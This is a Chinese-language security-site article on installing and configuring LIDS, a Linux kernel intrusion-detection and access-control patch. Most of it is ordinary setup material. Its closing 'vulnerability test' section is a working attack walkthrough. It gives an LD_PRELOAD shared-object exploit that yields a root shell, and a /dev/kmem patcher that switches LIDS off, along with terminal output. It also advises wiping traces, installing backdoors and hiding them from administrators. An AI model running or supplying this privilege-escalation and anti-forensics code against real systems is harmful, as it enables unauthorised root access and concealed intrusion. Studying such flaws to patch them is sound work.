奇趣技术网 收藏本站
设为主页
商务合作
首页 新闻中心 行业动态 软件新闻 安全资讯 病毒预警 漏洞发布 操作系统 Dos Win9x Win2000 WinXP Win2003 WinVista Linux Unix
数据库 DB2 Access MSSQL MySQL Oracle Sybase 编程技术 ASP PHP JSP CGI/Perl XML .Net C/C++/C# VB VC Delphi Java 汇编
安全技术 安全教学 工具介绍 漏洞利用 病毒防范 入侵检测 防火墙 安全防范 汉化破解 攻击实例 加密解密 技术论坛
中华网络安全联盟 >> 安全技术 >> 入侵检测 >> LIDS全攻略
安全技术
安全资讯
病毒预警
漏洞发布
安全教学
工具介绍
漏洞利用
病毒防范
入侵检测
防火墙
安全防范
汉化破解
攻击实例
加密解密
  • 主流入侵检测产品大比

  • 从漏洞及攻击分析到NI

  • 入侵检测及其对未来网

  • 向xp_cmdshell进军

  • 入侵检测(ID)FAQ(初级

  • Linux 9系统下构建小型

  • 无线入侵检测系统的应

  • 基于Windows的入门级I

  • LIDS全攻略
    字体:

    中华网络安全联盟    作者:佚名    来源:网络    时间:2006-3-19

    一. LIDS介绍:
    LIDS是Linux下的入侵检测和防护系统,是linux内核的补丁和安全管理工具,它增强了内核的安全性,它在内核中实现了参考监听模式以及强制访问控制(Mandatory Access Control)模式。
    LIDS主要功能:
    保护:保护硬盘上任何类型的重要文件和目录,如/bin、/sbin、/usr/bin、/usr/sbin、/etc/rc.d等目录和其下的文件,以及系统中的敏感文件,如passwd和shadow文件,防止未被授权者(包括ROOT)和未被授权的程序进入,任何人包括ROOT都无法改变,文件可以隐藏。 保护重要进程不被终止,任何人包括root也不能杀死进程,而且可以隐藏特定的进程。防止非法程序的RAW IO 操作,保护硬盘,包括MBR保护等等。
    检测:集成在内核中的端口扫描器,LIDS能检测到扫描并报告系统管理员。 LIDS还可以检测到系统上任何违反规则的进程。
    响应:来自内核的安全警告,当有人违反规则时, LIDS会在控制台显示警告信息,将非法的活动细节记录到受LIDS保护的系统log文件中。 LIDS还可以将log信息发到你的信箱中。LIDS还可以马上关闭与用户的会话。

    二. LIDS安装:

    1.下载必须文件,linux内核源码包和lids包,然后解压

    # cd linux_install_path/
    # bzip2 -cd linux-2.4.16.tar.bz2 | tar -xvf -

    # cd lids_install_path
    # tar -zxvf lids-1.1.0-2.4.16.tar.gz

    2在linux的内核打LIDS补丁,然后配置和编译linux内核,安装LIDS系统

    # cd linux_install_path/linux
    # patch -p1 < lids_install_path/lids-version-linversion.patch

    # rm -rf /usr/src/linux
    # ln -s linux_install_patch/linux /usr/src/linux

    # cd /usr/src/linux
    # make menuconfig or make xconfig
    [*] Prompt for development and/or incomplete code/drivers [*] Sysctl support
    [*] Linux Intrusion Detection System support (EXPERIMENTAL) (NEW).

    [ ] Hang up console when raising a security alert
    当收到一个安全警告挂起控制台
    [ ] Security alert when execing unprotected programs before sealing LIDS
    当执行没有受LIDS保护的程序时发送安全警告
    [ ] Do not execute unprotected programs before sealing LIDS
    在安装LIDS前不执行没有受保护的程序
    [ ] Try not to flood logs
    尽量不要让日志溢出
    [ ] Allow switching LIDS protections
    允许转换LIDS保护
    [ ] Allow remote users to switch LIDS protections
    允许远程用户来转换LIDS保护
    [ ] Allow any program to switch LIDS protections
    允许任何程序来转换LIDS保护
    [ ] Allow reloading config. file
    允许重新引导配置文件
    [ ] Port Scanner Detector in kernel
    内核的端口扫描器
    [ ] Send security alerts through network
    通过网络发送安全警告
    [ ] Hide klids kernel thread
    隐藏内核进程
    [ ] Use generic mailer pseudo-script
    使用通用的邮件发送脚本

    根据需要选择相应的选项,配置支持LIDS的内核以后.退出配置界面,编译内核。

    # make dep
    # make clean
    # make bzImage
    # make modules
    # make modules_install

     复制 bzImage 到 /boot/ ,编辑 /etc/lilo.conf
    # cp arch/i386/boot/bzImage /boot/bzImage-lids

    安装lids管理工具
    # cd lids-1.1.0-2.4.16/lidsadm-1.1.0/
    # make
    # make install

    # vi /etc/lilo.conf
    boot=/dev/hda
    map=/boot/map
    install=/boot/boot.b
    prompt
    timeout=50
    default=lids

    image=/boot/vmlinuz-2.4.16
    label=linux
    read-only
    root=/dev/hda2

    image=/boot/bzImage-lids
    label=lids
    read-only
    root=/dev/hda2

     运行/sbin/lilo 来安装新内核

    # /sbin/lilo

    三. LIDS配置:

    必须配置lids系统,使其符合你的安全需要.你可以定义受保护的文件,受保护的进程等等。
    首先,更新缺省lids.conf的inode/dev值。
    # /sbin/lidsadm -U
    然后,获得一个RipeMD-160加密口令:
      # /sbin/lidsadm -P

    缺省情况下,lidsadm将把缺省配置文件安装到 /etc/lids/。你必须根据自己的需要重新配置。
    当内核启动时,配置信息就把相关信息读入内核来初始化LIDS系统。

      lids.conf: 这个文件用来存储LIDS ACLs信息。它包括定义对象访问类型的ACLs。
      lids.cap:这个文件包括系统的所有性能,可以编辑这个文件来配置这些性能。
      lids.net:这个文件用来配置发给管理员信箱的警告信息。你可以定义SMTP服务器、端口、消息头等。仅在配置内核时,选择了[*] Send security alerts through network (NEW)才有该文件。
      lids.pw:这个文件存储由'lidsadm -P'命令生成的密码文件。配置内核时选择[*] Allow switching LIDS protections , 就必须有该文件。

    1.配置LIDS保护的文件和目录
      首先,确定要保护哪些文件。一般情况下,保护系统二进制文件和系统配置文件,
    比如:/bin,/sbin/,/usr/,/etc/,/var/log/。
      其次,决定以什么方式来保护文件。LIDS提供四种保护类型。
    a.拒绝任何人访问
      带有DENY标志的文件和目录没有人能够看见,也不能修改。那些非常敏感的文件应该加上DENY标志。例如,/etc/shadow文件。
      ---------------------------------------------------------------------------
      用法:
      lidsconf -A -o file_to_protected -j DENY
      # lidsconf -A -o /etc/shadow -j DENY
      重启或重新加载配置文件后,你会看到:
      # ls /etc/shadow
      ls: /etc/shadow: No such file or directory
      ---------------------------------------------------------------------------
      接下来,还需要一些设置使一些特有的程序能够访问这些文件,比如,登录到系统的时候,/bin/login文件需要从有DENY标记的/etc/shadow文件中读密码。
      ---------------------------------------------------------------------------
      用法:
      lidsconf -A -s SUBJECT_PROGRAM -o OBJECT_PROGRAM -j READONLY/WRITE/APPEND
      # lidsconf -A -s /bin/login -o /etc/shadow -j READONLY
      ---------------------------------------------------------------------------
      当你配置好而且重启系统或重新加载配置文件后,你可以登录进系统,但不能看到/etc/shadow。这就是强制访问控制的一个例子。

    b.只读文件
      任何用户不能改变带有只读标记的文件。比如/etc/passwd,/bin/passwd文件一般属于此类。
      ---------------------------------------------------------------------------
      用法:
      lidsconf -A -o file_to_protect -j READONLY
      例子:
      1.保护整个/sbin/目录,使之只读。
      # /sbin/lidsconf -A -o /sbin/ -j READONLY
      2.保护/etc/passwd文件为只读
      # /sbin/lidsconf -A -o /etc/passwd -j READONLY
      ---------------------------------------------------------------------------

    c.只能追加的文件
      一般来说,系统日志文件应定义成此类。比如,/var/log/message,/var/log/secure。这些文件只能以追加的模式打开,用户不能修改前面的部分。
      ---------------------------------------------------------------------------
      用法:
      lidsconf -A -o filename_to_protect -j APPEND
      例子:
      1.保护系统日志文件
      # /sbin/lidsconf -A -o /var/log/message -j APPEND
      # /sbin/lidsconf -A -o /var/log/secure -j APPEND
      2.保护apache httpd日志文件
      # /sbin/lidsconf -A -o /var/log/httpd -j APPEND
      ---------------------------------------------------------------------------

    d.可写文件
      以上READONLY,APPEND,WRITE属于LIDS对文件采取的强制访问控制(MAC)。
      通过LIDS的这个功能,就可以定义哪个程序可以对哪个文件采取什么样的访问模式。比如,定义/home/httpd/对任何人DENY,并且定义 /usr/sbin/httpd能够从所在目录READONLY。在这种情况下,Web服务器像一般的Web服务器一样,只是在/home/httpd/ 目录下的内容和程序不能被看到和修改。即使入侵者利用httpd的漏洞获得了ROOT权限,他也看不到在root shell里面的文件。即使他重写缓冲区,在httpd 服务器中加入一些病毒代码,他也只能读出/home/httpd下面的文件而实质上无法修改它们。
      ---------------------------------------------------------------------------
      # lidsconf -A -o /home/httpd -j DENY
      # lidsconf -A -s /usr/sbin/httpd -o /home/httpd -j READONLY
      ---------------------------------------------------------------------------

      一个简单配置的例子:
      ---------------------------------------------------------------------------
      lidsconf -Z
      lidsconf -A -o /boot -j READONLY
      lidsconf -A -o /lib -j READONLY
      lidsconf -A -o /root -j READONLY
      lidsconf -A -o /etc -j READONLY
      lidsconf -A -o /sbin -j READONLY
    lidsconf -A -o /usr/sbin -j READONLY
      lidsconf -A -o /bin -j READONLY
      lidsconf -A -o /usr/bin -j READONLY
      lidsconf -A -o /usr/lib -j READONLY
      ---------------------------------------------------------------------------

    2.配置LIDS保护进程

      a.不可杀死的进程
      LIDS能够保护父进程是init(pid=1)的进程,按照下面的命令配置/etc/lids/lids.cap里面的性能:
      -29:CAP_INIT_KILL

      b.隐藏的进程
      这些进程看不到,用ps命令或者在/proc里面也看不到。
      ---------------------------------------------------------------------------
      例子:
      lidsconf -A -s /usr/sbin/httpd -o CAP_HIDDEN -j GRANT
      ---------------------------------------------------------------------------

    3.通过设置权限来保护

      这里的权限就是你给一个进程的权限。一个root进程拥有所有的性能,还存在绑定的权限问题。在一般的内核中,当从绑定集中去掉一种权限时,除非重启任何人都不能启用该权限。LIDS修改权限使用户可以在这些权限中间任意切换。对/proc/sys/kernel/cap_bset的访问被俘获,引发安全告警。
      系统的权限值存储在/etc/lids/lids.cap中。编辑它可以满足你的需求。
      例如:
      CAP_SYS_RAWIO项若打开,我们就可以允许访问/dev/port,/dev/mem,/dev/kmem,以及对原始块设备(/dev/[sh]d??)的访问。
      当我们取消这个权限时,就可以使运行在系统上的所有进程不能访问原始块设备,比如运行lilo。但是,一些进程的运行需要这些权限,比如XF86_SVGA。
      再比如,CAP_NET_ADMIN,这项权限可以得到以下的能力:接口配置,IP防火墙、伪装和计费的管理,设置sockets调试选项,修改路由表,设置任意进程或进程组对sockets的所有权,为透明proxy代理捆绑地址,设置服务类型,设置混合模式,多播,对设备的指定寄存器进行读写等。出于安全考虑,我们应当取消这项权限,不允许变化网络设置,也就禁止了防火墙规则的改变。
      配置lids.cap文件的方法是在权限名字的前面设置"+"使它有效,或设置"-"取消它。

    具体的功能说明:

    CAP_CHOWN功能:
    在一个_POSIX_CHOWN_RESTRICTED功能定义的系统。这会越过改变系统文件所有者和组所有的权限

    CAP_DAC_OVERRIED功能:
    如果_POSIX_ACL定义,就会越过所有的DAC访问,包括ACL执行访问,用CAP_LINUX_IMMUTABLE功能来排除DAC的访问

    CAP_DAC_READ_SEARCH功能:
    如果_POSIX_ACL定义,就会越过所有的DAC的读限制,并在所有的文件和目录里搜索,包括ACL限制。用CAP_LINUX_IMMUTABLE来限制DAC访问

    CAP_FOWNER功能:
    越过文件说有的允许限制,如文件的所有者ID必须和用户ID一样,除了CAP_FSETID可用。它不会越过MAC和DAC限制

    CAP_FSETID功能:
    越过当设置文件的S_ISUID和S_ISGID位的时候,用户的ID必须和所有者ID匹配的限制,设置S-ISGID位的时候,组ID必须和所有者ID匹配的限制,用chown来设置S_ISUID和S_ISGID为的功能限制

    CAP_FS_MASK功能:
    用来回应suser()或是fsuser()。

    CAP_KILL功能:
    一个有有效用户ID的进程发送信号时必须匹配有效用户ID的功能会越过

    CAP_SETGID功能:
    允许setgid() 功能, 允许setgroups() 允许在socket里伪造gid

    CAP_SETUID功能:
    允许set*uid()功能 允许伪造pid在socket

    CAP_SETPCAP功能:
    把所有的许可给所有的pid。或是把所有的许可删除

    CAP_LINUX_IMMUTABLE功能:
    允许更改S_IMMUTABLE和S_APPEND文件属性

    CAP_NET_BIND_SERVICE功能:
    允许绑定1024下的TCP/UDP套接字

    CAP_NET_BROADCAST功能:
    允许广播,监听多点传送

    CAP_NET_ADMIN功能:
    允许配置接口
    允许管理IP防火墙IP伪装和帐户
    允许配置socket调试选项
    允许修改路由表
    允许配置socket上的进程的组属性
    允许绑定所有地址的透明代理
    允许配置TOS(服务类型)
    允许配置混杂模式
    允许清除驱动状态
    允许多点传送
    允许读或写系统记录

    CAP_NET_RAW功能:
    允许用RAW套接字
    允许用PACKET套接字


    CAP_IPC_LOCK功能:
    允许琐定共享内存段
    允许mlock和mlockall


    CAP_IPC_OWNER功能:
    越过IPC所有权检查


    CAP_SYS_MODULE功能:
    插入或删除内核模块

    CAP_SYS_RAWIO功能:
    允许ioperm/iopl和/dev/prot的访问
    允许/dev/mem和/dev/kmem访问
    允许块设备访问(/dev/[sh]d??)

    CAP_SYS_CHROOT功能:
    允许chroot()

    CAP_SYS_PTRACE功能:
    允许ptrace()任何进程

    CAP_SYS_PACCT功能:
    允许配置进程帐号

    CAP_SYS_ADMIN功能:
    允许配置安全钥匙
    允许管理随机设备
    允许设备管理
    允许检查和配置磁盘限额
    允许配置内核日志
    允许配置域名
    允许配置主机名
    允许调用bdflush()命令
    允许mount()和umount()命令
    允许配置smb连接
    允许root的ioctls
    允许nfsservctl
    允许VM86_REQUEST_IRQ
    允许在alpha上读写pci配置
    允许在mips上的irix_prctl
    允许刷新所有的m68k缓存
    允许删除semaphores
    用CAP_CHOWN去代替"chown"IPC消息队列,标志和共享内存
    允许锁定或是解锁共享内存段
    允许开关swap
    允许在socket伪装pids
    允许设置块设备的缓存刷新
    允许设置软盘驱动器
    允许开关DMA开关
    允许管理md设备
    允许管理ide驱动
    允许访问nvram设备
    允许管理apm_bios,串口或是bttv电视设备
    允许在isdn CAPI的驱动下生成命令
    允许读取pci的非标准配置
    允许DDI调试ioctl
    允许发送qic-117命令
    允许启动或禁止SCSI的控制和发送SCSI命令 允许配置加密口令在回路文件系统上

    CAP_SYS_BOOT功能:
    允许用reboot() 命令

    CAP_SYS_NICE功能:
    允许提高或设置其他进程的优先权
    允许在自己的进程用FISO和实时的安排和配置

    CAP_SYS_RESOURCE功能:
    越过资源限制,设置资源限制
    越过配额限制
    越过保留的ext2文件系统
    允许大于64hz的实时时钟中断
    越过最大数目的控制终端
    越过最大数目的键

    CAP_SYS_TIME功能:
    允许处理系统时钟
    允许_stime
    允许设置实时时钟

    CAP_SYS_TTY_CONFIG功能:
    允许配置终端设备
    允许vhangup()终端

      另外,还可以用权限标记专用进程。标记进程的权限使进程具备系统禁止的性能。
      例如,在文件lids.cap中取消CAP_SYS_RAWIO权限,但是你需要在启动X Server的时候具备这个权限。所以,可以这样设置:
      # lidsconf -A -s /usr/X11R6/bin/XF86_SVGA -o CAP_SYS_RAWIO -j GRANT
      使XF86_SVGA具备CAP_SYS_RAWIO,而其它的程序不能得到CAP_SYS_RAWIO。

    所以要选择需要删除的功能:
    必须删除CAP_SYS_MODULE, CAP_SYS_RAWIO 和 CAP_SYS_ADMIN来保护系统不受小的系统攻击。最好也要禁止CAP_NET_ADMIN, CAP_SYS_PTRACE, CAP_LINUX_IMMUTABLE, CAP_KILL, CAP_SYS_RESOURCE, CAP_SYS_TIME 和 CAP_SYS_TTY_CONFIG

      LIDS通过权限设置来提高网络安全性,比如反sniferring,禁止捆绑1024以下的端口,禁止改变防火墙和路由规则。

    4.内核扫描检测
      LIDS在内核中提供扫描监测器,检测谁正在扫描你的系统。它能够检测出half-open扫描,SYN秘密扫描,秘密FIN,Xmas或NULL扫描等,像nmap,satan这样的流行扫描工具可以被检测到。
      即使原始套接口不能工作时它仍能起作用,因为它不用任何套接口。在这种情况下,一些基于sniffering的用户检测器不能工作了。若想要利用LIDS的这项功能,在编译内核时选上就可以了。

    5.入侵响应系统
      当LIDS检测到违背定义的规则的活动时,可以做出下列响应:
      a.记录相关信息。
      当某人破坏这些规则时,lids_security_log记录相关信息,记录工作同样具有anti_logging_flood的能力。编译内核时你可以设置这个选项。
      b.通过mail服务器记录信息。
      LIDS可以把日志送到你的信箱里面去。你可以在/etc/lids/lids.net中定义邮件服务器的IP,出口邮件的地址等。
      如下:
      ---------------------------------------------------------------------------
      MAIL_SWITCH=1

      # MAIL_RELAY=hex IP ort
      # IP11.1 of the machine that will be directly connected by LIDS
      # for relaying its mails. Port is usually 25, but who knows...
      MAIL_RELAY=192.168.100.171:25

      # MAIL_SOURCE=source machine :
      # Name of the source machine, used for the ehlo identification.
      # Note that a bad name here could make the mail relay refuse your
      # mails.
      MAIL_SOURCE=lids.xfocus.net
      ---------------------------------------------------------------------------

    配置好的系统重新启动后,不要忘记用lidsadm封装内核,在最后/etc/rc.local加入以下命令
    # /sbin/lidsadm -I
    重新启动,如果要关闭lids系统启动,你可以在lilo里用security=0来启动内核。

    配置中要注意的几点:
    *. 启动
    在启动的时候更新文件:
      一些文件需要在系统启动的时候写,但是会被LIDS保护,这些文件一般保存在/var目录下,但是也有一些例外: modules.dep:除了增加或是删除模块外,不需要在启动的时候更改,可以禁止它在启动的时候更新。
      mtab:用-n的选项在每次启动的时候生成一个从/etc/mtab到/proc/mounts的一个连接。如果对/etc/目录进行保护,那么在启动中可能因为mtab不可写而导致启动失败,因此需要将启动脚本中的mount加-n选项,或者单独对/etc下的几个重要目录或文件进行保护。
    *. 关机或重起
    可能会因为lids.conf配置引起关机是无法umount文件系统,导致重起后检查硬盘文件系统。
    所以在lids.conf必须对halt进行配置:
    /sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_INIT_KILL -i 1 -j GRANT
    /sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_KILL -i 1 -j GRANT
    /sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_NET_ADMIN -i 1 -j GRANT
    /sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_SYS_ADMIN -i 1 -j GRANT
    *.针对隐藏的进程,因为进程隐藏所以关机的时候无法停止隐藏进程,导致不能正确的umount文件系统,重起的时候会对硬盘进行检查,使启动时间加长,所以在隐藏进程后,要对隐藏的进程的停止脚本加以修改。
    例如隐藏了httpd进程后,需要修改/etc/rc.d/init.d/httpd杀死隐藏进程
    ...
    stop() {
    echo -n "Shutting down http: "
    kill -15 `cat /var/run/httpd.pid`
    sleep 5
    #killproc httpd
    RETVAL=$?
    echo
    [ $RETVAL = 0 ] && rm -f /var/lock/subsys/httpd /var/run/httpd.pid
    }
    ...

    四. LIDS测试:

    1.功能测试:

    配置脚本:
    ---------------------------------------------------------------------------------
    #!/bin/sh

    # Flush old rules
    /sbin/lidsconf -Z

    # Protect/etc/lids
    /sbin/lidsconf -A -o /etc/lids -j DENY

    # Protect System Binaries
    /sbin/lidsconf -A -o /sbin -j READONLY
    /sbin/lidsconf -A -o /bin -j READONLY

    # Protect all of /usr and /usr/local
    /sbin/lidsconf -A -o /usr -j READONLY
    /sbin/lidsconf -A -o /usr/local -j READONLY

    # Protect the System Libraries
    /sbin/lidsconf -A -o /lib -j READONLY

    # Protect System Configuration files
    /sbin/lidsconf -A -o /etc/rc.d -j READONLY
    /sbin/lidsconf -A -o /etc/rc0.d -j READONLY
    /sbin/lidsconf -A -o /etc/rc1.d -j READONLY
    /sbin/lidsconf -A -o /etc/rc2.d -j READONLY
    /sbin/lidsconf -A -o /etc/rc3.d -j READONLY
    /sbin/lidsconf -A -o /etc/rc4.d -j READONLY
    /sbin/lidsconf -A -o /etc/rc5.d -j READONLY
    /sbin/lidsconf -A -o /etc/rc6.d -j READONLY
    /sbin/lidsconf -A -o /etc/init.d -j READONLY
    /sbin/lidsconf -A -o /etc/rc.local -j READONLY
    /sbin/lidsconf -A -o /etc/rc.sysinit -j READONLY
    /sbin/lidsconf -A -o /etc/sysconfig -j READONLY
    /sbin/lidsconf -A -o /etc/hosts -j READONLY
    /sbin/lidsconf -A -o /etc/hosts.allow -j READONLY
    /sbin/lidsconf -A -o /etc/hosts.deny -j READONLY
    /sbin/lidsconf -A -o /etc/passwd -j READONLY
    /sbin/lidsconf -A -o /etc/shadow -j DENY
    /sbin/lidsconf -A -o /etc/lilo.conf -j DENY

    # Enable system authentication
    /sbin/lidsconf -A -s /bin/login -o /etc/shadow -j READONLY
    /sbin/lidsconf -A -s /bin/su -o /etc/shadow -j READONLY
    /sbin/lidsconf -A -s /bin/su -o CAP_SETUID -j GRANT
    /sbin/lidsconf -A -s /bin/su -o CAP_SETGID -j GRANT
    /sbin/lidsconf -A -s /bin/login -o CAP_SETUID -j GRANT
    /sbin/lidsconf -A -s /bin/login -o CAP_SETGID -j GRANT
    /sbin/lidsconf -A -s /bin/login -o CAP_CHOWN -j GRANT
    /sbin/lidsconf -A -s /bin/login -o CAP_FSETID -j GRANT

    # Protect the boot partition
    /sbin/lidsconf -A -o /boot -j READONLY

    # Protect root's home dir, but allow bash history
    /sbin/lidsconf -A -o /root -j READONLY
    /sbin/lidsconf -A -s /bin/bash -o /root/.bash_history -j WRITE

    # Protect system logs
    /sbin/lidsconf -A -o /var/log -j APPEND
    /sbin/lidsconf -A -o /var/log/dmesg -j WRITE
    /sbin/lidsconf -A -s /bin/login -o /var/log/wtmp -j WRITE
    /sbin/lidsconf -A -s /bin/login -o /var/log/lastlog -j WRITE
    /sbin/lidsconf -A -s /sbin/init -o /var/log/wtmp -j WRITE
    /sbin/lidsconf -A -s /sbin/init -o /var/log/lastlog -j WRITE
    /sbin/lidsconf -A -s /sbin/halt -o /var/log/wtmp -j WRITE
    /sbin/lidsconf -A -s /sbin/halt -o /var/log/lastlog -j WRITE
    /sbin/lidsconf -A -s /etc/rc.d/rc.sysinit -o /var/log/wtmp -i 1 -j WRITE
    /sbin/lidsconf -A -s /etc/rc.d/rc.sysinit -o /var/log/lastlog -i 1 -j WRITE

    # Shutdown
    /sbin/lidsconf -A -s /sbin/init -o CAP_INIT_KILL -j GRANT
    /sbin/lidsconf -A -s /sbin/init -o CAP_KILL -j GRANT
    # Give the following init script the proper privileges to kill processes and
    # unmount the file systems. However, anyone who can execute these scripts
    # by themselves can effectively kill your processes. It's better than
    # the alternative, however.
    /sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_INIT_KILL -i 1 -j GRANT
    /sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_KILL -i 1 -j GRANT
    /sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_NET_ADMIN -i 1 -j GRANT
    /sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_SYS_ADMIN -i 1 -j GRANT
    /sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_SYS_RAWIO -i 1 -j GRANT

    # Other
    /sbin/lidsconf -A -s /sbin/update -o CAP_SYS_ADMIN -j GRANT
    /sbin/lidsconf -A -s /sbin/consoletype -o CAP_SYS_ADMIN -j GRANT

    #Protect and hide Httpd
    /sbin/lidsconf -A -o /etc/httpd -j DENY
    /sbin/lidsconf -A -s /usr/sbin/httpd -o /etc/httpd -j READONLY
    /sbin/lidsconf -A -s /usr/sbin/httpd -o CAP_HIDDEN -j GRANT
    ---------------------------------------------------------------------------------
    运行命令/sbin/lidsadm -S -- -LIDS切换到不受lids保护的状态,然后执行配置脚本,运行命令/sbin/lidsadm -S -- +RELOAD_CONF,更新lids配置,最后lidsadm -S -- +LIDS切换到lids保护状态
    通过命令如ls /etc/shadow、ls /etc/lids、touch /sbin/x、ps ax|grep http等命令测试lids保护的文件、目录和进程等;通过扫描器扫描测试lids的检测功能以及lids的响应功能等。最好的办法是模仿黑客成功入侵后所做的活动,如装rootkit等来检验lids的主要功能。


    2.漏洞测试:
    LD_PRELOAD能够编写一个LIDS可执行任意代码的程序,这意味着入侵者能够获得LIDS配置下的权限和文件访问能力,如果用 CAP_SYS_RAWIO 或者CAP_SYS_MODULE,入侵者可以停掉LIDS并且获得访问一切文件的权限。在某些配置下,还能够获得root权限。

    可以到下载下面的测试程序:
    http://www.lids.org/download/test-lids.sh
    http://www.lids.org/download/test-lids.sh.asc

    下面开始入侵装有lids的linux,当然该lids是有bug的了。
    首先是获得一个普通帐号了,通过finger、sendmail等或是社交工程都可以,相信难不倒各位,只要有个帐号就可以,当然还需要能够远程登录,如果能本机登录就更好了!

    [test@rh72 test]$ls /proc/sys
    abi debug dev fs kernel lids net proc
    [test@rh72 test]$ls /sbin/lids*
    /sbin/lidsadm /sbin/lidsconf
    --可见该系统安装了lids

    [test@rh72 test]$vi testlids.sh
    ---------------------------------------------------------------------------------
    #!/bin/sh

    # Creates /tmp/boom.so you might
    # use to let LIDS leak capabilities
    # to your shell.

    cat>/tmp/boom.c<<_EOF_;
    #include <stdio.h>
    #include <unistd.h>
    #include <fcntl.h>

    _init()
    {
    char *a[] = {"/bin/bash", NULL};
    setuid(0);
    close(0);close(1);close(2);
    open("/dev/tty", O_RDWR);
    dup(0);
    dup(1);
    execve(*a,a,NULL);
    return -1;
    }

    _EOF_

    cc -c -fPIC /tmp/boom.c -o /tmp/boom.o
    ld -Bshareable /tmp/boom.o -o /tmp/boom.so
    echo "OK";
    ---------------------------------------------------------------------------------
    [test@rh72 test]$ chmod +x testlids.sh
    [test@rh72 test]$ ./testlids.sh
    OK
    [test@fire lids]$ LD_PRELOAD=/tmp/boom.so /bin/login
    [root@fire lids]# whoami
    root
    哇塞,这么容易就获得root权限了,比没有装lids的linux更容易,真爽!:)
    可见,普通用户通过LD_PRELOAD可以直接从装有存在bug的lids的系统中获得超级用户权限,所以安装lids的管理员一定要注意升级和配置lids。

    (之所以通过/bin/login直接获得root权限是因为采用如下的lids配置命令
    /sbin/lidsconf -A -s /bin/login -o CAP_SETUID -j GRANT
    /sbin/lidsconf -A -s /bin/login -o CAP_SETGID -j GRANT
    /sbin/lidsconf -A -s /bin/login -o CAP_CHOWN -j GRANT
    /sbin/lidsconf -A -s /bin/login -o CAP_FSETID -j GRANT )

    [root@fire lids]# ./capscan -b (capscan用来探测lids的功能约束)
    b 5 CAP_KILL
    [root@fire lids]# touch /sbin/xlids
    touch: /sbin/xlids: Operation not permitted
    [root@fire lids]#LD_PRELOAD=/tmp/boom.so /etc/rc.d/init.d/halt
    [root@fire lids]# ./capscan -b
    b 5 CAP_KILL
    b 12 CAP_NET_ADMIN
    b 17 CAP_SYS_RAWIO
    b 21 CAP_SYS_ADMIN
    b 27 CAP_MKNOD
    --可见我们已经从halt脚本获得了CAP_NET_ADMIN、CAP_SYS_RAWIO和CAP_SYS_ADMIN功能
    [root@fire lids]# touch /sbin/xlids
    touch: /sbin/xlids: Operation not permitted
    [root@fire lids]# ls -al /etc/lids
    ls: /etc/lids: No such file or directory
    [root@fire lids]# /sbin/lidsconf -L
    LIST
    LIDS: lidsconf(dev 3:1 inode 150018) pid 630 ppid 581 uid/gid (0/0) on (vc/1):
    access hidden file /etc/lids/lids.conf
    lidsconf:cannot open /etc/lids/lids.conf
    reason: No such file or directory
    --可见lids仍起作用,并对/sbin和/etc/lids作了保护,其中/sbin作了只读保护,/etc/lids拒绝访问
    [root@fire lids]#vi lidsoff.c
    ---------------------------------------------------------------------------------
    #lidsoff.c: //主要是将内核中的变量lids_load置为0

    /* Simple and stupid kmem patcher for LIDS.
    * Licensed under the GPL. :-)
    */
    #include <stdio.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <stdlib.h>

    void die(const char *s)
    {
    perror(s);
    exit(errno);
    }


    int main(int argc, char **argv)
    {

    char zero;
    off_t off;
    int kmem;

    if (argc < 2) {
    printf("Usage: %s <addr-of-lids_local_on-in-hex>\n\n", *argv);
    return 1;
    }

    kmem = open("/dev/kmem", O_RDWR);
    if (kmem < 0)
    die("open");

    off = strtoul(argv[1], 0, 16);
    printf("# Patching [%x]\n", off-4);

    lseek(kmem, off-4, SEEK_SET);
    read(kmem, &zero, sizeof(zero));
    printf("%d -> 0\n", zero);

    lseek(kmem, off-4, SEEK_SET);
    zero = 0;
    write(kmem, &zero, sizeof(zero));
    close(kmem);
    return 0;
    }
    ---------------------------------------------------------------------------------
    [root@fire lids]# gcc -o lidsoff lidsoff.c
    [root@fire lids]# grep lids /proc/ksyms
    c0113868 lids_send_message_Rsmp_ccaa3a65
    c029af60 lids_load_Rsmp_a57ab5ad
    c029af64 lids_local_on_Rsmp_641824fe
    c029af6c lids_local_pid_Rsmp_2a2dd337
    c0129270 lids_local_off_Rsmp_445f75c1
    [root@fire lids]# ./lidsoff
    Usage: ./lidsoff <addr-of-lids_local_on-in-hex>
    [root@fire lids]# ./lidsoff c029af64
    # Patching [c029af60]
    1 -> 0
    哈哈, lids已经关闭了,不再起作用了!
    [root@fire lids]# ls /etc/lids/lids.conf
    /etc/lids/lids.conf
    [root@fire lids]# touch /sbin/xlids
    至此,已经完全控制了装有lids的linux,很easy是吧,最后别忘了擦脚印、装后门。当然可以利用lids隐藏后门程序目录和进程了,连 rootkit都可以省了。完事后切换lids的状态,不然管理员很容易就发现入侵了。不过受害机器的控制台上可能会有一些警告显示,最好是重起或者用一些扫描信息替换掉!

    lids解决办法:

    对于2.4用户:
    http://www.lids.org/download/lids-1.1.1pre2-2.4.16.tar.gz
    http://www.lids.org/download/lids-1.1.1pre2-2.4.16.tar.gz.asc
    (或者lids-1.1.1pre2以后的版本)

    对于2.2用户:
    http://www.lids.org/download/LIDS-security-patch-0.10.1-2.2.20.diff.gz
    http://www.lids.org/download/LIDS-security-patch-0.10.1-2.2.20.diff.gz.asc
    (或者lids-0.11.0以后的版本)

    附capscan 源程序:
    --------------[ stealth <stealth@segfault.net> ]--------------------------------
    #cap.h
    ---------------------------------------------------------------------------------
    #ifndef __cap_h__
    #define __cap_h__

    #include <linux/capability.h>

    typedef struct __user_cap_header_struct cap_user_header;
    typedef struct __user_cap_data_struct cap_user_data;

    int capget(cap_user_header_t,cap_user_data_t);
    int capset(cap_user_header_t,cap_user_data_t);
    int print_cap(cap_user_data_t, cap_user_data_t);

    int brute_caps();

    #endif
    ---------------------------------------------------------------------------------
    # cap.c
    ---------------------------------------------------------------------------------
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <signal.h>
